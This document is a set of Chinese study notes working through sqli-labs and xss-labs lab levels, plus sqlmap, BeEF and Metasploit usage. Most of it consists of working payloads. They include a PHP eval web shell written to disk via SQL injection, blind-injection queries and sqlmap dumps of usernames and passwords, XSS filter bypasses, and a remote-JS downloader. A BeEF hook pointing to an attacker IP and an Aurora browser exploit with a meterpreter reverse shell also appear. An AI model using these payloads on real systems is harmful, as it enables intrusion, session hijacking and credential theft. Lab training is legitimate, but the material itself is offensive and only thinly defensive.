http://127.0.0.1/sqli-labs/Less-7/?id=3

1 变换id参数,没有回显
http://127.0.0.1/sqli-labs/Less-7/?id=1
http://127.0.0.1/sqli-labs/Less-7/?id=2
http://127.0.0.1/sqli-labs/Less-7/?id=3

2 单引号:没有报错
3 双引号:没有报错

4 and 1=1 测试是有布尔类型状态
http://127.0.0.1/sqli-labs/Less-7/?id=2' and 1=1
http://127.0.0.1/sqli-labs/Less-7/?id=2' and 1=2
http://127.0.0.1/sqli-labs/Less-7/?id=2' and 1=1 --+
http://127.0.0.1/sqli-labs/Less-7/?id=2' and 1=2 --+
http://127.0.0.1/sqli-labs/Less-7/?id=2" and 1=1
http://127.0.0.1/sqli-labs/Less-7/?id=2" and 1=2
http://127.0.0.1/sqli-labs/Less-7/?id=2" and 1=1 --+
http://127.0.0.1/sqli-labs/Less-7/?id=2" and 1=2 --+
页面没有变化

5 代码审计发现闭合方式:单引号+双括号
$sql = "select * from users where id=(('$id')) limit 0,1";

6 延时注入
http://127.0.0.1/sqli-labs/Less-7/?id=2')) and sleep(5) --+

7 读写文件
读写文件:http://127.0.0.1/sqli-labs/Less-7/?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "c:\\phpstudy\\www\\1.php" --+
连接木马:http://127.0.0.1/1.php?777=echo 'ipconfig';

Less-8 burpsuit进行半自动化 布尔盲注

http://127.0.0.1/sqli-labs/Less-8/?id=3

1 变换id参数,没有回显
http://127.0.0.1/sqli-labs/Less-8/?id=1
http://127.0.0.1/sqli-labs/Less-8/?id=2
http://127.0.0.1/sqli-labs/Less-8/?id=3

2 单引号:没有报错
3 双引号:没有报错,有显示
猜测闭合方式:单引号
http://127.0.0.1/sqli-labs/Less-8/?id=1' --+

4 and 1=1 测试是有布尔类型状态
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs/Less-8/?id=1' and 1=2 --+
页面没有变化

5 布尔盲注
【测试数据库的长度】
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database()=1) --+
将抓到的包发送到intruder模块,target 127.0.0.1,port 80,进入position部分,选中变量3,为其添加$符号;进入payloads模块,payload选项添加0-9,start attack。因此发现数据库的长度为8。
【测试数据库的名字】
http://127.0.0.1/sqli-labs/Less-8/?id=2' and substr(database(),1,1)='a' --+
http://127.0.0.1/sqli-labs/Less-8/?id=2' and substr(database(),1,1)='a' --+
两个变量:第几个位置和那个位置对应的变量测试
模式:Cluster bomb
第一个变量的字典:1-8
第二个变量的字典:a-z
最终得到爆破结果:security

【造成sql注入的原因有两个】拼接和过滤

Less-9 延迟注入+字符型注入

http://127.0.0.1/sqli-labs/Less-9/?id=1

1 变换id参数,没有回显
http://127.0.0.1/sqli-labs/Less-9/?id=1
http://127.0.0.1/sqli-labs/Less-9/?id=2
http://127.0.0.1/sqli-labs/Less-9/?id=3

2 单引号:没有报错
3 双引号:没有报错
http://127.0.0.1/sqli-labs/Less-9/?id=1'
http://127.0.0.1/sqli-labs/Less-9/?id=1"

4 and 1=1 没有异常
http://127.0.0.1/sqli-labs/Less-9/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and 1=2 --+
http://127.0.0.1/sqli-labs/Less-9/?id=1" and 1=1 --+
http://127.0.0.1/sqli-labs/Less-9/?id=1" and 1=2 --+

5 延时注入
http://127.0.0.1/sqli-labs/Less-9/?id=1" and sleep(5) --+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+     //最终发现有延迟注入 ,并可以确定是字符型注入

6 半自动化注入
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=1,sleep(5),1) --+
得到数据库的长度为 8
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=1,sleep(5),1) --+

burpsuit字典不够:则可以利用kali生成。

7 自动化注入sqlmap
sqlmap -u "url"

Less-10 时间盲注+字符型注入

http://127.0.0.1/sqli-labs/Less-9/?id=1

1 变换id参数,没有回显
http://127.0.0.1/sqli-labs/Less-10/?id=1
http://127.0.0.1/sqli-labs/Less-10/?id=2
http://127.0.0.1/sqli-labs/Less-10/?id=3

2 单引号:没有报错
3 双引号:没有报错
http://127.0.0.1/sqli-labs/Less-10/?id=1'
http://127.0.0.1/sqli-labs/Less-10/?id=1"

4 and 1=1 没有异常
http://127.0.0.1/sqli-labs/Less-10/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs/Less-10/?id=1' and 1=2 --+
http://127.0.0.1/sqli-labs/Less-10/?id=1" and 1=1 --+
http://127.0.0.1/sqli-labs/Less-10/?id=1" and 1=2 --+

5 延时注入
http://127.0.0.1/sqli-labs/Less-10/?id=1' and sleep(5) --+
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5) --+  //最终发现有延迟注入 ,并可以确定是字符型注入

6 半自动化注入
http://127.0.0.1/sqli-labs/Less-10/?id=1" and 
得到数据库的长度为 8if(length(database())=8,sleep(5),1) --+   
获取用户名:http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(left((select username from users order by id limit 0,1), 4)='dumb',sleep(3),1) --+
获取密码:http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(3), 1) --+

burpsuit字典不够:则可以利用kali生成。

7 自动化注入sqlmap
sqlmap -u "url"
sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --dbs
sqlmap.py -u "http://192.168.1.177:40000/Less-8/?id=1" --current-db --level=5 --risk=3

Less-11 基于错误的POST型单引号字符型注入

post是一种数据提交方式,它主要是指数据从客户端提交到服务器端。

从这一关开始我们开始进入到post注入的世界了,什么是post呢?就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。
http://127.0.0.1/sqli-labs/Less-11/

  • 例如我们在less11中我们输入正确的用户名和密码后,显示
    在这里插入图片描述
  • 那我们思考下如何进行注入呢?
    在post过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到的sql语句,那么我们是否可以像get型的一样构造我们想要的payload呢?
  • 单引号测试
    当我们输入username:admin’#
    Password:ddd(随便输)
    在这里插入图片描述
    显示错误了,可以从错误中分析到程序对参数进行单引号的处理。
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘2’ LIMIT 0,1’ at line 1
  • 单引号证明
    uname=’ or 1=1 #&passwd=2&submit=Submit ===>未出错
    在这里插入图片描述- 利用
    1 利用harkbar:uname=n’ order by 2 #&passwd=2&submit=Submit
    在这里插入图片描述
    2 select语句利用:uname=n’ union select 1,2#&passwd=2&submit=Submit
    在这里插入图片描述3 uname=n’ union select 1,schema_name from information_schema.schemata limit 1,1#&passwd=admin&submit=Submit
    4 获取数据库 uname=n’ union select 1,group_concat(schema_name) from information_schema.schemata #&passwd=admin&submit=Submit
    在这里插入图片描述5 获取表名 uname=n’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’ #&passwd=admin&submit=Submit
    在这里插入图片描述6 获取表字段 uname=n’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ #&passwd=admin&submit=Submit
    在这里插入图片描述7 获取库中的表内容 uname=n’ union select 1,group_concat(username) from security.users #&passwd=admin&submit=Submit
    获取密码 n’ union select 1,group_concat(password) from security.users #
    在这里插入图片描述输出内容美观一点的写法:uname=n’ union select 1,group_concat(concat_ws(0x7e,username,password)) from security.users #&passwd=admin&submit=Submit
    在这里插入图片描述

Less-12 基于错误的双引号POST型字符型变形的注入

http header插件使用——获取post内容
uname=admin&passwd=admin&submit=Submit
在这里插入图片描述
在这里插入图片描述

1 单引号测试 uname=admin’ or 1=1 #&passwd=admin&submit=Submit
页面无反应
2 双引号测试 uname=admin" or 1=1 #&passwd=admin&submit=Submit
页面显示错误
3 双引号+右括号 uname=admin") or 1=1 #&passwd=admin&submit=Submit
页面显示正常
在这里插入图片描述

Less-13 POST单引号变形双注入–盲注

但是只显示对或者错,没有报错信息

单引号加括号!这个和上一个差不多:
延迟说明操作结果错误 uname=admin’) or if(length(database())=8,1,sleep(5)) #&passwd=admin&submit=Submit

单个字母测试 uname=admin’) or if(left(database())=‘a’,1,sleep(5)) #&passwd=admin&submit=Submit

判断第一个库里面的数据是否大于’a’ : uname=admin’) or left((select schema_name from information_schema.schemata limit 0,1),1)>‘a’ #&passwd=admin&submit=Submit

Less-14 POST单引号变形双注入

1 uname=admin&passwd=a"&submit=Submit   构造:**" or 1=1#**
2 uname=admin&passwd=a" order by 10#&submit=Submit 判断一共有多少列
3 uname=admin" or length(database())=8 #&passwd=admin&submit=Submit
4 uname=admin&passwd=a" or if(length(database())=8,1,sleep(5))#&submit=Submit 使用和less-13同样的方法进行判断
5 uname=admin&passwd=a" and if(length(database())=8,1,sleep(5))#&submit=Submit 使用和less-13同样的方法进行判断
uname=ain or left((select schema_name from information_schema.schemata limit 0,1),1)='u' #&passwd= admin& submit=Submit

Less-15 基于bool型/时间延迟单引号POST型盲注

以下均为POST内容:
首先在代码中加入两行:  echo $sql;              echo "</br>";
1 uname=admin&passwd=a“&submit=Submit    构造:1or 1=1#   在这里判断列数没有实际意义了
2 uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度
3 uname=adminadmin&passwd=admiand' or if(length()>1000,1,sleep(5))#&submit=Submit
4 uname=adminadmin&passwd=admiand‘ or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a
5 uname=adminadmin&passwd=admiand‘ or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g
6 uname=adminadmin&passwd=admiand‘ or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询

Lesson-16 基于bool型/时间延迟的双引号POST型盲注

1  uname = admin&passwd=a“ & submit=Submit    构造:1)  or 1=1#   在这里判断列数没有实际意义了,和less-15相同
2 uname = adminadmin&passwd=admiand") or if(length(database())>1,1,sleep(5))#&submit=Submit通过这个来判断其长度
3 uname=adminadmin&passwd=admiand”) or if(length()>1000,1,sleep(5))#&submit=Submit
4 uname=adminadmin&passwd=admiand”) or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a
5  uname=adminadmin&passwd=admiand”) or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g
6 uname=adminadmin&passwd=admiand”) or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询

b站:https://www.bilibili.com/video/BV1yJ411g7hh?p=12
https://github.com/crow821/crowsec
https://www.jianshu.com/p/1fc798bc7759

4.13sqlmap神器

4.13.1 sql注入神器(get注入)

检测注入点:sqlmap -u “url”

【不会获得数据库的敏感信息,这种扫描叫做无损扫描】
在这里插入图片描述

列出所有数据库的名字:sqlmap --dbs

在这里插入图片描述

列出当前数据库的名字:sqlmap -u “url” --current-db
指定一个数据库列出表名:sqlmap -u “url” -D “dataname” --tables
指定数据库名、表名列出所有字段名:sqlmap -u “url” -D “dataname” -T “tablename” --columns
指定数据库名、表名、字段名列出所有字段内容:sqlmap -u “url” -D “dataname” -T “tablename” -C “username,password” --dump

4.13.2 sqlmap(post注入)

burpsuit抓包,例如登录页面,复制包内容存储到post.txt

在这里插入图片描述在这里插入图片描述

sqlmap爆破:sqlmap -r post.txt

sqlmap会自动读取http数据包,并进行sql注入测试。

4.13.3 总结

在这里插入图片描述

九 跨站脚本攻击

9.1 XSS漏洞

9.1.1 介绍

XSS作为OWASP TOP 10之一,XSS被称为跨站脚本攻击(Cross–site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。

XSS通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的对象是用户和浏览器

9.1.2 XSS漏洞发生在哪里?——答:服务器

在这里插入图片描述

9.1.3 常见场景

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS

9.1.4 XSS危害

XSS利用JS代码实现攻击,有很多中攻击方法,以下简单列出几种
@ 盗取各种用户账号
@ 窃取用户Cookie资料,冒充用户身份进入网站
@ 劫持用户会话,执行任意操作
@ 刷流量,执行弹窗广告
@ 传播蠕虫病毒等

9.2 XSS漏洞的验证

9.2.1 验证代码

我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。

POC               漏洞的验证与检测
EXP               漏洞的完整利用工具。
shellcode         利用漏洞时,所执行的代码
                  Sqlmap                     攻击代码的模板
                  msf                        shellcode类似,功能是建立与目标的连接

验证XSS漏洞存在的PoC如下

//常用POC
<script>alert(/xss/)</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

9.2.2 原理

submit之后进行echo,没有其他验证。 输入的内容被原样输出。
在这里插入图片描述

我们可以在测试页面中提交这样的代码[<script>alert(/xss/)</script>]。
我们发现,提交的代码[<script>alert(/xss/)</script>],被当作字符串输出在HTML页面中,浏览器会根据[<script>]标签识别为JS语句,
并会执行它,执行弹窗操作。也就是说,可以执行其他JS代码,因此我们验证了XSS漏洞的存在性。

9.3 XSS的分类

XSS漏洞大概可以分为三个类型:反射型XSS、存储型XSS、DOM型XSS.

9.3.1 XSS的分类

XSS漏洞大概可以分为四个类型:反射型XSS、存储型XSS、DOM型XSS。
【反射型XSS】(经常发生在搜索框,XSS代码提交到一个变量中
反射型XSS是非持久性、参数型的跨站脚本。反射型XSS的JS代码在Web应用的参数(变量)中,如搜索框的反射型XSS

在搜索框中,提交PoC[<script>alert(/xss/)</script>],点击搜索,即可触发反射型XSS。

注意到,我们提交的poc会出现在search.php页面的keywords参数中。

【存储型XSS】(经常发生在留言板,XSS代码提交到数据库
存储型XSS是持久性跨站脚本。持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。

存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS使用的JS代码,JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。

【DOM XSS】修改浏览器本地的DOM树
DOM XSS比较特殊。owasp关于DOM型号XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器 上,这也就使得DOM XSS比较难以检测。如下面的例子[#message=<script>alert(/xss/)</script>]

172.16.132.161/XSS-TEST/DOM-XSS/?message=<script>alert(/xss/)</script>
172.16.132.161/XSS-TEST/DOM-XSS/#message=<script>alert(/xss/)</script>

我们发现源代码中没有script代码,但是页面元素查看器中有script xss代码。这就成功的修改了DOM树。我们一旦修改了DOM树,浏览器就会重新构建DOM树,重新渲染页面
在这里插入图片描述
我们以锚点的方式提交PoC,锚点就是massage。PoC并不会发送的服务器,但是已经触发了XSS。查看当前页面的源代码如下
在这里插入图片描述
【其他标签触发XSS】
[<svg onload="alert(/xss/)">]这个语句还是比较简洁的。
[<input onfocus=alert(/xss/) autofocus>] 当光标点击到输入框

9.4 XSS的构造

  • 利用[<>]构造HTML/JS 关键字
    可以利用[<>]构造HTML 标签和<script>标签。
    在测试页面提交参数[<h1 style='color:red'>利用[<>]构造HTML/JS</h1>]
    提交[<script>alert(/xss/)</script>]
  • 伪协议
    也可以使用 javascript: 伪协议的方式构造XSS
    提交参数[<a href="javascript:alert(/xss/)">touch me!</a>],然后点击超链接,即可触发XSS。
    也可以使用img标签的伪协议,但是这种方法在IE6下测试成功。[<img src="javascript:alert('Xss')">]
  • 产生自己的事件
    "事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应。所以我们可以通过事件触发JS函数,触发XSS。
事件种类说明
windows事件对windows对象触发的事件
Form事件HTML表单内的动作触发事件
Keyboard事件键盘按键
Mouse事件由鼠标或类似用户动作触发的事件
Media事件由多媒体触发的事件

如,[<img src='./smile.jpg' onmouseover='alert(/xss/)'>] 这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
单行文本框的键盘点击事件,
[<input type="text" onkeydown="alert(/xss/)">],当点击键盘任意一个按键的时候触发。
<input type="text" onkeyup="alert(/xss/)">
<input type="button"onclick="alert(/xss/)">
<img src='#'onerror='alert(/xss/)'>

  • 利用CSS跨站(old)
    我们也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS。-下代码均在IE6下测试。
    @行内样式 [<div style="background-image:url(javascript:alert(/xss/))">]
    @页内样式 [<style>Body{background-image:url(javascript:alert(/xss/))}</style>]
    @外部样式 [<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>]

xss.css文件内容如下

h1{
      color:red;
}
div{
      /*width:expression(alert(/xss/))*/
      background-image:url(javascript:alert(/xss/))
}

@expression
[<div style="width:expression(alert(/xss/))">]
[<style>Body{backg round-image:expression(alert(/xss/));}</style>]

@import
[<style>@import'javascript:alert("xss")';</style>]
[<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]

9.5 XSS绕过的9种手法

我们可以构造的XSS代码进行各种变形,以绕过XSS过滤器的检测。变形方式主要有以下几种

9.5.1 大小写转换

可以将payload进行大小写转化。如下面两个例子。
<Img sRc='#' Onerror="alert(/xss/)"/>
<a hREf="javaScript:alert(/xss/)">click me</a>

9.5.2 引号的使用

HTML语言中对引号的使用不敏感,但是某些过滤函数是"锱铢必较"。
<img src ="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src=#onerror=alert(/xss/)/>

9.5.3 [/]代替空格

可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)'/>

9.5.4 回车符

我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
<Img/sRc='#'/0nerror ='alert(/xss/)'/>
<A hREf="j
avascript:alert(/xss/)">click me!</a>
在这里插入图片描述

9.5.5 对标签属性值进行转码

可以对标签属性值进行转码,用来绕过过滤。对应编码如下
【字母】、、

字母ASCII码十进制编码十六进制编码
a97&#97;&#x61;
e101&#101;&#x65;

经过简单编码之后的样子。
a<A hREf="j&#97;v&#x61;script:alert(/xss/)">click me!</a>

另外,我们可以将以下字符插入到任意位置

Tab    &#9
换行   &#10
回车   &#13

可以将以下字符插入到头部位置

SOH     &#01
STX      &#02

经过编码后的样子

<A hREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
click me!
</a>

9.5.6 拆分跨站

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script> >

9.5.7 双写绕过

<script>    //会被我们,我们可以这样写:
<scr<script>ipt>

9.5.8 CSS中的变形

@使用全角字符
在这里插入图片描述
@注释会被浏览器忽略

width:expr/*~*/ession(alert(/x~s~s/))

@样式表中的[]和[\0]

<style>@import 'javasc\ri\0pt:alert("xss")';</style>

9.6 Shellcode的调用

Shellcode就是在利用漏洞所执行的代码。完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode。

9.6.1 远程调用JS

可以将JS代码单独放在一个js文件中,然后通过http协议远程加载该脚本。如[<script src="'http://172.16.132.138/XSS-TEST/normal/xss.js"></script>] ,这是比较常用的方式。XSS.js 的内容如下alert('xss.js');
远程访问:<script src= "http://172.16.132.161/XSS-TEST/ normal/xss. js"></ script>
在这里插入图片描述

9.6.2 Windows.locat ion.hash

会获取URL中 # 后面的内容,例如[http://domain.com/index.php#AJEST],windows.location.hash的值就[#AJEST]。.
所以我们可以构造如下代码[?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)],直接提交到测试页面xss.php。

9.6.3 XSS Down loader

XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。
在使用XSS Down loader之前需要一一个我们自己的页面,xss_downloader.php,内容如下

//xss_downloader.php
~~~~B0F|alert(/xss/)|EOF~~~~~~~~~~~

常见的下载器如下
<script>
function XSS(){
    if(window.XMLHttpRequest) {
        a = new XMLHttpRequest() ;
    } else if (window.ActiveXObject){
        a=new ActiveXObject ("Microsoft.XMLHTTP");
    } else { return;}
a.open('get','http://172.16.132.138/XSS-TEST/normal/xss_downLoader.php',false);
    a.send();
    b=a.responseText;
    eval(unescape(b.substring(b.indexOf('BOF|')+4,b.index0f('|E0F'))));}
XSS() ;
</script>

AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容。
在这里插入图片描述

9.6.4 备选存储技术

我们可以把Shellcode存储在客户端的本地域中,比如HTTP Cookie、Flash共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。
在这里插入图片描述
点击Cookie-XSS验证,产生如下效果。
在这里插入图片描述总结:任何能够调用的地方都可以存储XSS。

【XSS通关挑战】 测试过滤了哪些内容:<script "'Oonn>

9.5 xsslab挑战

测试过滤了哪些内容:<script "'Oonn>

9.5.1 level1

在这里插入图片描述
【url】 http://127.0.0.1/xsslabs/xss/level1.php?name=test333
【测试是否有过滤】 http://127.0.0.1/xsslabs/xss/level1.php?name=<’"/> ,测试发现没有过滤,我们就可以使用尖括号构造script标标签了:http://127.0.0.1/xsslabs/xss/level1.php?name=<script>alert(/xss/)</script>
在这里插入图片描述
在这里插入图片描述

【另外一个方法】
<script "'Oonn>放入到输入框,测试过滤内容。
然后审查元素发现页面收到输入的影响,说明没有过滤
URL:http://127.0.0.1/xsslabs/xss/level1.php?name=<script>alert(/xss/)</script>
在这里插入图片描述

9.5.2 level2

<script "'Oonn>放入到输入框,测试过滤内容。发现">对之前的内容进行了闭合。
这样绕过:http://127.0.0.1/xsslabs/xss/level2.php?keyword="><img onerror=alert(/xss/) src="#
在这里插入图片描述

9.5.3 level3

测试过滤内容:<script "'Oonn>,发现页面只显示<script ",继续审查元素
小于号转码,大于号转码,双引号过滤。
输入内容修改为:’ οnmοuseοver='alert(/xss/)
在这里插入图片描述

9.5.4 level4

测试过滤内容:<script "'Oonn>
小于号转码,大于号转码,单引号过滤。
输入内容修改为:" οnmοuseοver="alert(/xss/)
在这里插入图片描述

9.5.5 level5

测试过滤内容:<script "'Oonn>,这里我们通过页面代码分析可以得出结论:
大小 ----> 小写
script 中间加下划线 Oonn中间加下划线
单引号双引号不过滤
在这里插入图片描述
在这里插入图片描述
因此,我们修改代码进行测试:<script script "'Oonn>
在这里插入图片描述
在这里插入图片描述
结论:">用来闭合,尖括号旁边四位加下划线,大小写转化
我们的代码:"><a href="javascript:alert(/xss/)">click me!</a>

9.5.6 level6

测试过滤内容:<script script "'Oonn>
在这里插入图片描述
在这里插入图片描述
结论:">用来闭合,尖括号旁边四位加下划线
我们的测试代码:"><a href="javascript:alert(/xss/)">click me!</a>,输入之后发现href被过滤。
在这里插入图片描述
我们可以这样通过"><a Href="javascript:alert(/xss/)">click me!</a>

9.5.7 level7

测试过滤内容:<script script "'Oonn>
在这里插入图片描述
在这里插入图片描述
结论:">用来闭合,双引号单引号不过滤,大小写过滤,script过滤,on一次过滤。
" oOnnmouseover="alert(/xss/)

9.5.8 level8

测试过滤内容:<script script "'OOnn>
在这里插入图片描述
考虑伪协议:javascript:alert(/xss/),但是发现会加下划线
因此:javas&#x63;ript:alert(/xss/)

9.5.9 level9

测试过滤内容:javas&#x63;ript:alert(/xss/),显示链接不合法。而输入http://baidu.com就可以。
输入修改为:javas&#x63;ript:alert('http://')

9.5.10 level10

输入测试内容 <script script "'OOnn>,即url为:http://127.0.0.1/xsslabs/xss/level10.php?keyword=<script script "'OOnn>
在这里插入图片描述

这里需要测试多次,才会发现t_sort,所以最后过关代码:t_sort=click me!" type="button" onclick= "alert(/xss/)

9.5.11 level11

在这里插入图片描述
通过hackbar修改下ref,可以成功修改。我们继续将ref修改为:<script script "'OOnn>,发现有过滤。
在这里插入图片描述在这里插入图片描述
分析发现,过滤<和>。

ref输入的测试内容 click me!" type=“button” οnclick= "alert(/xss/)

9.5.12 level12

在这里插入图片描述因为hackbar有时候不好用,所以我们通过查看器,网络模块,查看http数据包并进行编辑和重发。
user-agent:<script script “'OOnn>
在这里插入图片描述在这里插入图片描述
user-agent输入的测试内容 click me!” type=“button” οnclick= "alert(/xss/)

9.5.13 level13:cookie类型的xss注入

在这里插入图片描述
过滤测试:<script script “'OOnn>
查看代码,这次是cookie类型的xss注入,setcookie(“user”, “call me maybe?”, time()+3600);
构造payload:
Cookie:” οnmοuseοver=alert(13) type=“text”
Cookie:" οnclick=“alert(13)” type=“text
Cookie:click me!” type=“button” οnclick= "alert(/xss/)

9.5.14 level14

这一关的图片一直加载不出来,所以也没有办法进行测试了。于是在网上找了一些参考,自己记录一下:
在这里插入图片描述

查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗,具体实现使用kali下的exiftool工具,命令如下:

exiftool -FIELD=XSS FILE
exiftool-Artist=' "><img src=1 οnerrοr=alert(document.domain)>' brute.jpeg

15、第十五关

查看代码,这一关是关于angular js的知识,ng-include有包含文件的意思,也就是相当于php里面的include,此处可以包含第一关的页面。
在这里插入图片描述
构造payload:
在url处写入语句,
src='level1.php?name=<img src=x onerror=alert(1)>'
如下图所示,这个没有利用成功,搜索到的另一个作者说是,因为这里需要访问angular.main.js这

个js文件,才能进行包含,虚拟机的环境中无法访问,看样子是需要fanqiang的,暂时无法实现,
此处借用一张网上的成功图片吧。
在这里插入图片描述

2019/10/7更新:今天又弄了一个临时的vpn,紧接着就进行了测试,如下图显示,测试成功:
在这里插入图片描述

16、第十六关

查看代码发现大小写绕过失效,script、/、,等都被转换成&nbsp,这时,可以尝试使用%0a,%0d来进行绕过。

构造语句:

Keyword=<img%0dsrc=a%0dοnerrοr=alert(16)>
Keyword=<iframe%0dsrc=0%0dοnmοuseοver=alert`16`></iframe>
Keyword=<svg%0aοnlοad=alert`16`></svg>

17、第十七关
在这里插入图片描述
测试语句:arg01=a&arg02=%20onmouseover=alert1
在这里插入图片描述

18、第十八关
这一关和上一关一样。
在这里插入图片描述

19、第十九关

Flash xss
页面源码,未插入语句时:
在这里插入图片描述

页面源码,插入语句后:
在这里插入图片描述
Payload:192.168.40.129/xss/level19.php?arg01=version&arg02=<ahref="javascript:alert(document.domain)">xss_by_didi</a>

点击“xss_by_didi”就可以触发XSS。弹窗:

网上找了下大神的答案,这里记录一下:
flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数
在这里插入图片描述
然后追踪到sIFR的内容
在这里插入图片描述
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数
在这里插入图片描述

所以我们可以构造 标签来传值 http://localhost/xss_test/level19.php?arg01=version&arg02=<ahref="javascript:alert(1)">111111</a>

20、第二十关

额……这一关完全没有头绪呀。。。答案是网上搜来的,测试代码“"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height”

看着就好难。说是将swf下载下来分析得知是zeroclipboard.swf,有漏洞详情,因此构造出的payload就是上面的那句话,我就直接放进去测试一下成功率吧。

在这里插入图片描述

level20.php?arg01=a&arg02="))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

成功弹窗:
在这里插入图片描述

9.6 session劫持

9.7 XSS神器——beef

root@kali:~# beef-xss
用户名、密码:beef
web管理控制台:
在这里插入图片描述
Web界面管理控制台 http://127.0.0.1:3000/ui/panel
Shellcode <script src="http://<IP>:3000/hook.js"></script>
测试页面 <script src="http://127.0.0.1:3000/hook.js"></script>

9.7.1 浏览器劫持[beef]

9.7.2 cookie窃取与欺骗——固定会话攻击[beef]

data:cookie=username=admin;userid=1
document.cookie="username=admin";
document.cookie ="userid=1";

9.7.3 利用浏览器漏洞getshell

msf
ms10002 xp
ms12063

msf5 > use exploit/windows/browser/ms10_ 002_aurora
msf5 exploit (windows/browser/ms10_ 002 aurora) > set payload windows/mete rpreter/reverse_ tcp
msf5 exploit (windows/browser/ms10_ 002 aurora) > set SRVHOST 172.16.132.128
msf5 exploit (windows/browser/ms10_ 002 aurora) > set RHOST 172.16.132.110
msf5 exploit (windows/browser/ms10_ 002 aurora) > exploit

sessions -i 1

利用重定向功能让浏览器访问我们的地址,这就会建立一个会话,攻击者通过sessions -i 1进入会话,getuid,然后切换进程 migrate 1420等操作。

9.7.4 XSS盲打平台——xsspt.com

9.8 XSS防御

  • 使用XSS Filter
